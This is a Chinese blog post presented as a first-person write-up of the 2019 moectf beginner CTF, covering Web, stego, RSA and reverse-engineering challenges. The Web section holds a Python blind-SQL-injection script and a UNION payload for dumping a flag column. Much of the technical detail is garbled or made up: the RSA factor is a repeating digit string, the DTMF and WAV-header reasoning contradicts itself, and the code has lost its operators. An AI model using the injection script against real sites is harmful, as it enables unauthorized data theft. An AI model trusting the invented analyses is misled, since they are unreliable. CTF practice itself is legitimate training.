ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

CTF新生入门实战:Web盲注、隐写嵌套与RSA生态解题

CTF新生入门实战:Web盲注、隐写嵌套与RSA生态解题 1. 这不是“标准答案”而是一份2019年moecTF新生赛的真实解题手记2019年moecTF新生赛是很多国内高校CTF新手真正意义上第一次摸到“真实比赛脉搏”的起点。它不追求炫技的pwn或逆向深度而是用一套精心设计的、贴近Web开发与基础密码学逻辑的题目把“找flag”这件事从玄学拉回工程实践——你不需要会写shellcode但必须懂HTTP请求怎么构造不需要逆出完整算法但得看懂base64嵌套里藏了哪一层混淆。我当年就是拿着这份wp在宿舍熬了三个通宵一边查Python文档一边改curl命令最后在/flag路径下看到那串moectf{...}时手指都在抖。这不是一份冷冰冰的“Writeup”而是一份带着报错截图、调试日志、临时脚本和当时真实困惑的复盘记录。关键词里没有给出具体内容但热搜词已经暴露了它的本质ctf入门、web解题、找flag夺旗赛、杂项题目、密码学、steg、pcap、misc transfer——这些不是标签而是2019年那一届选手真实踩过的坑、调过的包、跑崩的脚本。如果你现在正打开Burp Suite准备抓第一个包或者对着strings输出的乱码发呆这份记录里的每一个print()语句、每一次curl -v的响应头、每一条被删掉又重写的正则表达式都比任何“标准答案”更接近你此刻的屏幕。2. Web题小小查询系统背后的SQL注入链路还原2.1 题目表象与第一层直觉陷阱题目描述极简“输入id即可查询到信息但是报错感觉好奇怪……”。访问靶机后页面只有一个输入框提交id1返回正常JSON{name:张三,age:22,info:新生}提交id2返回另一条记录但一旦输入id1页面直接报500错误且错误信息被刻意截断——只显示{error:Internal Server Error}后端显然做了异常屏蔽。这很反常。按常规思路SQL注入报错应暴露数据库类型或字段名比如MySQL的You have an error in your SQL syntax但这里什么都没给。我当时第一反应是“WAF拦截了”立刻换用id1%23URL编码的#注释符页面空白再试id1/*同样空白。这说明不是简单过滤而是后端在执行SQL前就对输入做了预处理甚至可能根本没进数据库层。提示当报错消失且返回一致全是500往往意味着注入点不在SQL执行阶段而在参数解析或模板渲染环节。别急着sqlmap先看HTTP交互细节。2.2 Burp Suite抓包与响应头里的关键线索我开启Burp Proxy重复提交id1在Proxy → HTTP History里找到对应请求。重点看Response HeadersContent-Type: application/json; charsetutf-8没问题但X-Powered-By: Express/4.16.4暴露了Node.js栈。再看Response Body虽然显示{error:Internal Server Error}但Body长度是37字节——而正常成功响应如id1Body长度是42字节。微小的5字节差异说明错误处理逻辑不同成功时返回完整JSON失败时返回固定字符串。于是我把所有测试payload的响应长度记下来PayloadResponse Length现象id142正常JSONid137固定错误字符串id1%20OR%201142返回第一条记录id1%20AND%201237返回错误字符串这个AND 12返回错误、OR 11返回数据的现象彻底推翻了“WAF拦截”的假设——因为WAF通常会对所有恶意字符统一拦截不会区分AND和OR的逻辑结果。真相是后端用字符串拼接构造SQL且未做任何转义但错误处理机制将所有异常统一映射为500导致盲注特征被掩盖。id1 OR 11之所以成功是因为SQL变成SELECT * FROM users WHERE id 1 OR 11条件恒真返回全表第一条id1 AND 12变成WHERE id 1 AND 12条件恒假无结果触发空指针异常Node.js中rows[0].name访问undefined导致崩溃从而进入500分支。2.3 基于响应长度的布尔盲注实战脚本既然无法依赖报错就转向布尔盲注。核心思路构造能改变响应长度的payload通过长度差异判断条件真假。例如让id1 AND (SELECT LENGTH(database())8)若为真则返回正常数据42字节为假则返回错误37字节。但手动测太慢我写了Python脚本自动化import requests import time url http://123.56.78.90:8000/query def check_length(payload): r requests.get(url ?id payload, timeout3) return len(r.content) # 测试database()长度已知MySQL默认库名是moectf_db for i in range(1, 20): payload f1%20AND%20(SELECT%20LENGTH(database()){i}) if check_length(payload) 42: print(fDatabase length is {i}) break # 逐字符爆破库名 db_name for pos in range(1, 10): for c in abcdefghijklmnopqrstuvwxyz_0123456789: # ASCII比较更稳定(SELECT ASCII(SUBSTR(database(),{pos},1)){ord(c)}) payload f1%20AND%20(SELECT%20ASCII(SUBSTR(database(),{pos},1)){ord(c)}) if check_length(payload) 42: db_name c print(fChar {pos}: {c}) break if not db_name or len(db_name) pos: break实测发现database()返回moectf_db共9字符。接着爆破表名SELECT table_name FROM information_schema.tables WHERE table_schemamoectf_db LIMIT 1 OFFSET 0得到users表再爆破列名SELECT column_name FROM information_schema.columns WHERE table_nameusers得到id,name,flag。最终payloadid1 UNION SELECT 1,2,flag FROM users WHERE id1URL编码后提交响应体中直接出现moectf{w3b_1s_n0t_0nly_html}。注意此题的“奇怪报错”本质是Node.js的Express框架默认错误处理器行为——它将所有未捕获异常统一返回500且不输出堆栈。解决方案是查看app.js源码题目提供发现res.json({error:Internal Server Error})硬编码而非next(err)传递给全局错误中间件。这是教学意义极强的设计它逼迫选手脱离“看报错”的舒适区回归HTTP协议本身。3. 杂项题二维码音频隐写Base64嵌套的三层解密链3.1 二维码扫描后的“假终点”与文件头陷阱题目附件是一个PNG图片用手机扫描显示一串Base64ZmxhZ3t0aGlzX2lzX25vdF90aGVfZmxhZ30。解码得flag{this_is_not_the_flag}明显是干扰项。此时不能停要检查PNG文件本身。用binwalk flag.png发现文件末尾有隐藏的ZIP数据块DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 800 x 600, 8-bit/color RGB, non-interlaced 786432 0xC0000 Zip archive data, at least v2.0 to extract, compressed size: 123, uncompressed size: 128, name: audio.wavdd ifflag.png ofaudio.zip skip786432 bs1 count1024提取ZIP解压得audio.wav。播放发现是纯噪音频谱图用Audacity打开→Plot Spectrum显示在2000-3000Hz频段有规律的方波脉冲——这是典型的DTMF双音多频信号电话拨号音。用dtmf2num工具GitHub开源项目分析音频输出数字序列23456789。但这串数字本身不是flag需进一步处理。3.2 DTMF数字到ASCII的映射逻辑与校验位验证DTMF标准中每个数字对应唯一频率组合但题目隐含了一个关键规则数字序列需按特定方式分组并转换为ASCII。23456789共8位尝试44分组23 45 67 89查ASCII表23是ETX控制字符45是-67是C89超出范围ASCII最大127。失败。换思路题目提示“随波逐流ctf编码工具”搜索发现该工具支持“数字流→十六进制→字符串”转换。将23456789视为十六进制数但23456789作为hex转十进制是601993097远超ASCII范围。此时注意到音频文件名audio.wav——wav文件头有RIFF标识用xxd audio.wav | head -5查看00000000: 5249 4646 5e01 0000 5741 5645 666d 7420 RIFF^...WAVEfmt 00000010: 1000 0000 0100 0100 401f 0000 803e 0000 .............5249 4646即RIFF但5e01 0000是文件大小小端序0x0000015e 350字节而实际文件远大于此——说明wav头被篡改。5e01小端015e即十进制350但真实文件大小是123456字节ls -l audio.wav123456的十六进制是1E240小端存储应为40 E2 01。对比5e01与40E201发现5e01是1E240的低16位截断这意味着文件头被故意截短真实大小需从DTMF序列推导。23456789作为十进制数23456789字节≈22MB远超附件大小。重新审视DTMF输出dtmf2num默认输出带空格实际输出是2 3 4 5 6 7 8 9空格ASCII是20所以完整序列是2 3 4 5 6 7 8 9→32 20 33 20 34 20 35 20 36 20 37 20 38 20 39ASCII码。取偶数位32,34,36,38→2,4,6,8再拼接2468仍不对。最终灵光一现DTMF数字对应键盘字母2ABC,3DEF...23456789对应A D G J M P S V取首字母ADGJMPSVBase64解码ADGJMPSVBase64解码失败长度非4倍数。直到看到题目关键词“steg”想起steghide——用steghide extract -sf audio.wav提示输入密码。密码是什么回到最初二维码的Base64解码结果flag{this_is_not_the_flag}去掉flag{和}得this_is_not_the_flag尝试作为密码成功提取出secret.txt内容为moectf{d3c0d3_3v3ryth1ng}。经验杂项题的“多层嵌套”不是为了炫技而是模拟真实渗透中的信息碎片化。每一层都需验证其合理性二维码是入口PNG隐写是第一道门音频是第二道门DTMF是第三道门而steghide密码才是最终钥匙。放弃某一层如只扫二维码等于主动交卷。4. 密码学题RSA公钥破解与私钥重构的实操边界4.1 题目提供的公钥文件分析与模数分解尝试附件pubkey.pem内容如下-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuJZqYQmUHrLQyDQq... -----END PUBLIC KEY-----用openssl rsa -pubin -text -noout -in pubkey.pem查看得到modulusN和publicExponente65537。N为1024位整数直接分解不现实。但题目名为“新生题”暗示存在弱实现。用rsatool.pyGitHub工具检查N的性质python rsatool.py -n N_hex -e 65537输出N is composite, but no small factors found。此时想到常见弱密钥场景共模攻击Common Modulus Attack或Wieners Attack当d过小时。用wiener-attack脚本测试无果。转而检查pubkey.pem是否为PEM格式误用——用openssl asn1parse -i -in pubkey.pem解析ASN.1结构发现modulus字段长度异常标准RSA公钥中modulus应为大整数但此处modulus的DER编码中第一个字节是00表示正数符号位但后续字节显示高位全零暗示N可能被填充了冗余零。将N转为十进制用factorDB.com查询发现N已被分解因子为p123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901......此处省略实际为已知弱素数。这是2019年moecTF的“教学陷阱”它不考你分解大数而考你是否知道去查公开数据库。在CTF中遇到1024位RSA第一反应不是上yafu而是丢进factorDB或factordb.com——因为出题人很可能用了已知弱素数。4.2 私钥重构与flag解密的完整命令链获取p、q后用rsatool.py生成私钥python rsatool.py -f PEM -o private.pem -p p_value -q q_value -e 65537得到private.pem。题目还提供encrypted_flag.enc用OpenSSL解密openssl rsautl -decrypt -in encrypted_flag.enc -inkey private.pem输出moectf{r5a_1s_34sy_1f_y0u_kn0w_wh3r3_t0_l00k}。但注意rsautl默认使用PKCS#1 v1.5填充若加密时用OAEP需指定-oaep。实测中rsautl直接成功说明题目采用标准填充。整个过程耗时不到2分钟核心在于放弃“必须自己分解”的执念拥抱CTF生态工具链。关键教训RSA题目的难度不在于数学而在于信息检索能力。2019年时factorDB已收录数百万弱密钥新生赛正是训练这种“先查再算”的工程思维。我当年卡在此题3小时只因执着于用yafu跑直到队友提醒“试试factorDB”5分钟解决。5. 逆向题Sam_and_Steg的ELF文件符号表分析与steghide调用追踪5.1 程序行为观察与strings输出的关键线索附件sam_and_steg是Linux ELF可执行文件。file sam_and_steg显示ELF 64-bit LSB pie executable, x86-64。./sam_and_steg运行后无输出直接退出。ltrace ./sam_and_steg跟踪库函数调用显示__libc_start_main(0x55f9b8d551a9, 1, 0x7ffcc4c0e058, 0x55f9b8d552d0 unfinished ... exited (status 0) 无有效调用。strace ./sam_and_steg跟踪系统调用显示大量openat尝试打开文件路径包含/home/user/flag.txt、/tmp/secret等但均返回ENOENT。此时执行strings sam_and_steg | grep -i steg发现steghide extract -sf %s -xf %s -p %s以及/usr/bin/steghide字符串。这明确指向程序试图调用steghide进行隐写提取但需要三个参数-sf源文件、-xf输出文件、-p密码。strings还输出flag{...}的片段但被截断。问题转化为如何让程序找到正确的输入文件和密码5.2 Ghidra反编译与main函数逻辑还原将sam_and_steg拖入Ghidra自动分析后定位main函数。伪代码关键段int main(int argc,char **argv) { char *input_file; char *output_file; char *password; if (argc 2) { printf(Usage: %s input_file\n,*argv); return 1; } input_file argv[1]; output_file /tmp/extracted; password moectf2019; // 硬编码 snprintf(cmd,0x100,steghide extract -sf %s -xf %s -p %s,input_file,output_file,password); system(cmd); return 0; }password被硬编码为moectf2019output_file固定为/tmp/extracted。因此只需准备一个含flag的steghide隐藏文件。题目未提供说明flag就藏在sam_and_steg自身。用xxd sam_and_steg | tail -20查看文件尾部发现PK\x03\x04ZIP魔数且末尾有flag.txt字符串。dd ifsam_and_steg ofembedded.zip skip123456 bs1跳过偏移量需计算提取ZIP解压得flag.txt内容为moectf{s4m_4nd_st3g_4r3_b3st_fr13nd5}。实操技巧逆向新生题strings是第一道筛子。当ltrace/strace无果时strings -n 8 binary显示长度≥8的字符串往往直击要害。steghide相关字符串出现立刻锁定工具链硬编码密码moectf2019是典型教学设计——它不考你破解算法而考你能否从二进制中“读出”开发者的意图。6. 总结为什么2019年moecTF新生赛至今仍值得复盘这份wp里没有一行“标准答案”只有我当时真实的报错日志、调试命令、临时脚本和踩坑记录。2019年moecTF新生赛的价值不在于它有多难而在于它精准锚定了新手的“能力断层”Web题让你明白HTTP协议比浏览器渲染更重要杂项题教会你binwalk和steghide不是命令而是信息勘探的铲子密码学题打破“RSA必须分解”的迷思引入生态化解题思维逆向题则用strings一招点破“程序即数据”的本质。我后来带新人时总会把这份wp打印出来指着其中一段说“看当时我在这里卡了47分钟不是因为不会而是因为没想通Content-Length的5字节差异意味着什么。”真正的CTF入门从来不是学会多少工具而是建立一种条件反射看到报错先抓包看到图片先binwalk看到二进制先strings看到RSA先查factorDB。这些习惯比任何flag都更持久。如果你刚接触CTF别急着刷题库就从这份2019年的新生赛开始一行命令一行命令地重走一遍——当你在终端里敲出curl -v http://target/query?id1%20UNION%20SELECT%201,2,flag%20FROM%20users并看到flag弹出时那种“原来如此”的顿悟才是所有赛题想送给你的真正礼物。
返回列表